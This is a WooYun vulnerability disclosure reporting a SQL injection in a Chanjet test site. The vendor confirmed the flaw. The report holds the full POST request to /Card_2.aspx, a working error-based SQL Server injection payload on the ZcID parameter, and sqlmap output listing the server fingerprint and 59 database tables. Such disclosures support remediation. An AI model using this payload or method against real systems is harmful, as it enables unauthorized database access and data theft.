当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0144959

漏洞标题：畅捷通某站存在SQL注入漏洞

相关厂商：畅捷通

漏洞作者： 路人甲

提交时间：2015-10-06 08:53

修复时间：2015-11-22 14:56

公开时间：2015-11-22 14:56

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-10-06： 细节已通知厂商并且等待厂商处理中
2015-10-08： 厂商已经确认，细节仅向厂商公开
2015-10-18： 细节向核心白帽子及相关领域专家公开
2015-10-28： 细节向普通白帽子公开
2015-11-07： 细节向实习白帽子公开
2015-11-22： 细节向公众公开

简要描述：

详细说明：

POST /Card_2.aspx HTTP/1.1
Content-Length: 301
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://treistertest.chanjet.com
Cookie: ASP.NET_SessionId=405q5pz23k3tg0451cqkugbr
Host: treistertest.chanjet.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
ZcID=OA&__EVENTVALIDATION=/wEWAgLMkJisBwLj7c7hARq0%2b9wFfKIupqhlfeZ6GaGeVsmI&__VIEWSTATE=/wEPDwUKMTYyODY2MzAzNw9kFgICAw9kFgQCAQ8WAh4HVmlzaWJsZWhkAgMPPCsADQEADxYEHgtfIURhdGFCb3VuZGceC18hSXRlbUNvdW50ZmRkGAEFCUdyaWRWaWV3MQ88KwAKAQhmZBY/t3B6ofgzuPmIM2QSdG2IwzEE

ZcID参数存在注入

11.jpg

sqlmap resumed the following injection point(s) from stored session:
---
Parameter: ZcID (POST)
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: ZcID=OA' AND 6965=CONVERT(INT,(SELECT CHAR(113)+CHAR(112)+CHAR(113)+CHAR(113)+CHAR(113)+(SELECT (CASE WHEN (6965=6965) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(98)+CHAR(106)+CHAR(106)+CHAR(113))) AND 'tooO'='tooO&__EVENTVALIDATION=/wEWAgLMkJisBwLj7c7hARq0+9wFfKIupqhlfeZ6GaGeVsmI&__VIEWSTATE=/wEPDwUKMTYyODY2MzAzNw9kFgICAw9kFgQCAQ8WAh4HVmlzaWJsZWhkAgMPPCsADQEADxYEHgtfIURhdGFCb3VuZGceC18hSXRlbUNvdW50ZmRkGAEFCUdyaWRWaWV3MQ88KwAKAQhmZBY/t3B6ofgzuPmIM2QSdG2IwzEE
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
Database: distribution
[59 tables]
+------------------------------------+
| IHarticles                         |
| IHcolumns                          |
| IHconstrainttypes                  |
| IHextendedArticleView              |
| IHextendedSubscriptionView         |
| IHindextypes                       |
| IHpublications                     |
| IHpublishercolumnconstraints       |
| IHpublishercolumnindexes           |
| IHpublishercolumns                 |
| IHpublisherconstraints             |
| IHpublisherindexes                 |
| IHpublishers                       |
| IHpublishertables                  |
| IHsubscriptions                    |
| IHsyscolumns                       |
| MSarticles                         |
| MScached_peer_lsns                 |
| MSdistribution_agents              |
| MSdistribution_history             |
| MSdistribution_status              |
| MSlogreader_agents                 |
| MSlogreader_history                |
| MSmerge_agents                     |
| MSmerge_articlehistory             |
| MSmerge_articleresolver            |
| MSmerge_history                    |
| MSmerge_identity_range_allocations |
| MSmerge_sessions                   |
| MSmerge_subscriptions              |
| MSpublication_access               |
| MSpublications                     |
| MSpublicationthresholds            |
| MSpublisher_databases              |
| MSqreader_agents                   |
| MSqreader_history                  |
| MSrepl_backup_lsns                 |
| MSrepl_commands                    |
| MSrepl_errors                      |
| MSrepl_identity_range              |
| MSrepl_originators                 |
| MSrepl_transactions                |
| MSrepl_version                     |
| MSreplication_monitordata          |
| MSsnapshot_agents                  |
| MSsnapshot_history                 |
| MSsubscriber_info                  |
| MSsubscriber_schedule              |
| MSsubscriptions                    |
| MSsync_states                      |
| MStracer_history                   |
| MStracer_tokens                    |
| UIProperties                       |
| sysarticlecolumns                  |
| sysarticles                        |
| sysextendedarticlesview            |
| syspublications                    |
| sysschemaarticles                  |
| syssubscriptions                   |
+------------------------------------+


漏洞证明：

修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2015-10-08 14:55

厂商回复：

感谢您对我们的关注和支持，该问题存在，我们正在修复。

最新状态：

暂无